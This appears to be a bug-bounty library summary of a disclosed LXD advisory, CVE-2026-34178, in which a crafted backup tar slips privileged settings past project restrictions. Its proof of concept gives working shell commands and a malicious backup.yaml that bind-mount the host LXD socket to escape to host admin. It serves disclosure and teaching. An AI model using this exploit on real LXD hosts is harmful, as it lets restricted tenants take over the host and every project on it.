# LXD: Importing a crafted backup leads to project restriction bypass

LXD backup import validates project restrictions against index.yaml but creates the instance from backup.yaml, letting a restricted-project tenant run privileged containers and escape to host.

- Payout: Research
- Severity: critical
- Program: LXD
- Found by (vendor credit): Miha Purg
- Found by: mpurg
- Disclosed: 2026-04-10
- CVE: CVE-2026-34178
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-q96j-3fmm-7fv4
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-q96j-3fmm-7fv4
- Tags: area:cloud domain:infra impact:internal-access impact:privesc kind:research platform:ghsa sev:critical tech:go tech:linux technique:chained technique:source-review vuln:access-control vuln:misconfiguration vuln:privilege-escalation

**Target:** LXD backup import API (tar archive with index.yaml and container/backup.yaml)
**Root cause:** Project restriction checks run only against backup/index.yaml via AllowInstanceCreation, while the instance is actually created from the independently attacker-controlled backup/container/backup.yaml, which is never re-validated against restrictions.
**Steps:**
1. Build backup/container/rootfs via debootstrap and a clean backup/index.yaml with empty config/devices.
2. Write backup/container/backup.yaml containing `security.privileged: "true"`, `raw.lxc` bind-mounting the host LXD unix socket, and `raw.apparmor: ""`.
3. `tar -cf malicious-backup.tar backup/`
4. As a restricted-project user with can_create_instances, run `lxc import target-lxd: malicious-backup.tar --project restricted-project`.
5. `lxc config show target-lxd:escalated-instance --project restricted-project` shows `security.privileged: "true"`.
6. `lxc start` the instance, then `curl --unix-socket /unix.socket http://localhost/1.0/projects` to reach the host LXD API as admin.
**How found:** Code reading of the backup import path: noticed two separate config sources in one tar (index.yaml read by GetInfo for restriction checks vs backup.yaml used by CreateInternal), and that UpdateInstanceConfig only syncs name/project/pool/UUIDs, never Config or Devices.
**Exploitation:** Attacker with instance-creation rights in a restricted project imports a crafted tar whose index.yaml passes restriction checks while backup.yaml carries privileged/raw.lxc config. The privileged container bind-mounts the host LXD unix socket, which trusts local connections as full admin, giving control over all projects and the host filesystem.
**Escalation:** Privileged container + raw.lxc socket bind mount -> host LXD API as admin -> create admin certs, access all projects, mount host filesystem.
**Insight:** When an archive or bundle carries redundant metadata, check whether the security gate and the actual object construction read the same file; any second copy of config is a bypass candidate. Also note ValidConfig only checks key format, not policy compliance.

## Proof of concept (copied exactly from the original report)

**Malicious backup.yaml with privileged config**

```
cat > backup/container/backup.yaml <<EOF
instance:
  name: escalated-instance
  architecture: x86_64
  type: container
  config:
    security.privileged: "true"
    raw.lxc: |
      lxc.mount.entry = /var/snap/lxd/common/lxd/unix.socket unix.socket none bind,create=file 0 0
    raw.apparmor: ""
  devices: {}
  expanded_config:
    security.privileged: "true"
    raw.lxc: |
      lxc.mount.entry = /var/snap/lxd/common/lxd/unix.socket unix.socket none bind,create=file 0 0
    raw.apparmor: ""
  expanded_devices:
    root:
      path: /
      pool: default
      type: disk
  profiles:
    - default
  stateful: false
pools:
  - name: default
    driver: dir
volumes:
  - name: escalated-instance
    type: container
    pool: default
    content_type: filesystem
    config:
      volatile.uuid: "00000000-0000-0000-0000-000000000000"
EOF

# Package the archive
tar -cf malicious-backup.tar backup/
```

**Import crafted backup and verify bypass**

```
lxc import target-lxd: malicious-backup.tar --project restricted-project

# Verify the restricted config was accepted into the restricted project
lxc config show target-lxd:escalated-instance --project restricted-project

# Output contains:
# security.privileged: "true"
```

**Escalate via bind-mounted Unix socket**

```
lxc start target-lxd:escalated-instance --project restricted-project

# Query the LXD API via the bind-mounted Unix socket (full admin access)
lxc exec target-lxd:escalated-instance --project restricted-project -- \
  curl -s --unix-socket /unix.socket http://localhost/1.0/projects
```

